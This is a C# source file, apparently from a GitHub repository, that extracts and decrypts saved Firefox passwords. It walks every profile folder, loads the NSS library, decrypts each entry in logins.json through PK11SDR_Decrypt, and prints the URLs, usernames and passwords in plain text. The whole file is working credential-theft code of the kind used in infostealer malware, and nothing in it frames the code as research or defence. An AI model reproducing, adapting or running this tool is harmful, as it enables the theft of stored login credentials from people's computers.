-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathProgram.cs
228 lines (202 loc) · 6.8 KB
/
Program.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using Newtonsoft.Json;
class NSSHelper
{
[DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern int NSS_Init(string configdir);
[DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx);
[StructLayout(LayoutKind.Sequential)]
public struct TSECItem
{
public int type;
public IntPtr data;
public int len;
}
public static bool Initialize(string nssPath)
{
try
{
return NSS_Init(nssPath) == 0;
}
catch (DllNotFoundException ex)
{
Console.WriteLine($"[ERR] NSS library not found: {ex.Message}");
return false;
}
catch (BadImageFormatException ex)
{
Console.WriteLine($"[ERR] Architecture mismatch (32/64 bit): {ex.Message}");
return false;
}
}
public static string DecryptData(string encryptedData)
{
if (string.IsNullOrEmpty(encryptedData))
{
Console.WriteLine("[WARN] Empty encrypted data received");
return null;
}
IntPtr allocatedMemory = IntPtr.Zero;
try
{
var decodedData = Convert.FromBase64String(encryptedData);
var tsecData = new TSECItem
{
data = Marshal.AllocHGlobal(decodedData.Length),
len = decodedData.Length
};
allocatedMemory = tsecData.data;
Marshal.Copy(decodedData, 0, tsecData.data, decodedData.Length);
var result = new TSECItem
{
data = IntPtr.Zero,
len = 0
};
if (PK11SDR_Decrypt(ref tsecData, ref result, 0) == 0 && result.len > 0)
{
var decryptedData = new byte[result.len];
Marshal.Copy(result.data, decryptedData, 0, result.len);
return Encoding.UTF8.GetString(decryptedData);
}
Console.WriteLine("[WARN] Decryption failed or resulted in empty data");
return null;
}
catch (Exception ex)
{
Console.WriteLine($"[ERR] Decryption error: {ex.Message}");
return null;
}
finally
{
if (allocatedMemory != IntPtr.Zero)
{
Marshal.FreeHGlobal(allocatedMemory);
}
}
}
public static List<PasswordEntry> GetFirefoxPasswords(string loginsPath, string nssPath)
{
var passwordList = new List<PasswordEntry>();
if (!File.Exists(loginsPath))
{
Console.WriteLine($"[ERR] File not found: {loginsPath}");
return passwordList;
}
if (!Initialize(nssPath))
{
Console.WriteLine("[ERR] Initialization failed");
return passwordList;
}
try
{
var loginsJson = File.ReadAllText(loginsPath);
dynamic logins = JsonConvert.DeserializeObject(loginsJson);
if (logins?.logins == null)
{
Console.WriteLine("[ERR] Invalid JSON structure");
return passwordList;
}
foreach (var login in logins.logins)
{
try
{
var url = login.hostname?.ToString();
var usernameEncrypted = login.encryptedUsername?.ToString();
var passwordEncrypted = login.encryptedPassword?.ToString();
if (string.IsNullOrEmpty(usernameEncrypted) ||
string.IsNullOrEmpty(passwordEncrypted))
{
Console.WriteLine("[WARN] Skipping entry with missing data");
continue;
}
var username = DecryptData(usernameEncrypted);
var password = DecryptData(passwordEncrypted);
if (username != null && password != null)
{
passwordList.Add(new PasswordEntry
{
Url = url,
Username = username,
Password = password
});
}
}
catch (Exception ex)
{
Console.WriteLine($"[ERR] Error processing entry: {ex.Message}");
continue;
}
}
}
catch (Exception ex)
{
Console.WriteLine($"[ERR] Error processing file: {ex.Message}");
}
return passwordList;
}
}
public class PasswordEntry
{
public string Url { get; set; }
public string Username { get; set; }
public string Password { get; set; }
}
class Program
{
static void Main(string[] args)
{
try
{
var profilesPath = Path.Combine(
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
"Mozilla",
"Firefox",
"Profiles"
);
if (!Directory.Exists(profilesPath))
{
Console.WriteLine("[ERR] Firefox profiles directory not found");
return;
}
var profiles = Directory.GetDirectories(profilesPath);
if (profiles.Length == 0)
{
Console.WriteLine("[INFO] No Firefox profiles found");
return;
}
foreach (var profile in profiles)
{
Console.WriteLine($"[INFO] Processing profile: {profile}");
var loginsPath = Path.Combine(profile, "logins.json");
var nssPath = profile;
var passwordList = NSSHelper.GetFirefoxPasswords(loginsPath, nssPath);
if (passwordList.Count == 0)
{
Console.WriteLine("[INFO] No entries found in this profile");
continue;
}
foreach (var entry in passwordList)
{
Console.WriteLine($"URL: {entry.Url}");
Console.WriteLine($"Username: {entry.Username}");
Console.WriteLine($"Password: {entry.Password}");
Console.WriteLine();
}
}
}
catch (Exception ex)
{
Console.WriteLine($"[ERR] Fatal error: {ex.Message}");
}
finally
{
Console.WriteLine("Press any key to exit...");
Console.ReadLine();
}
}
}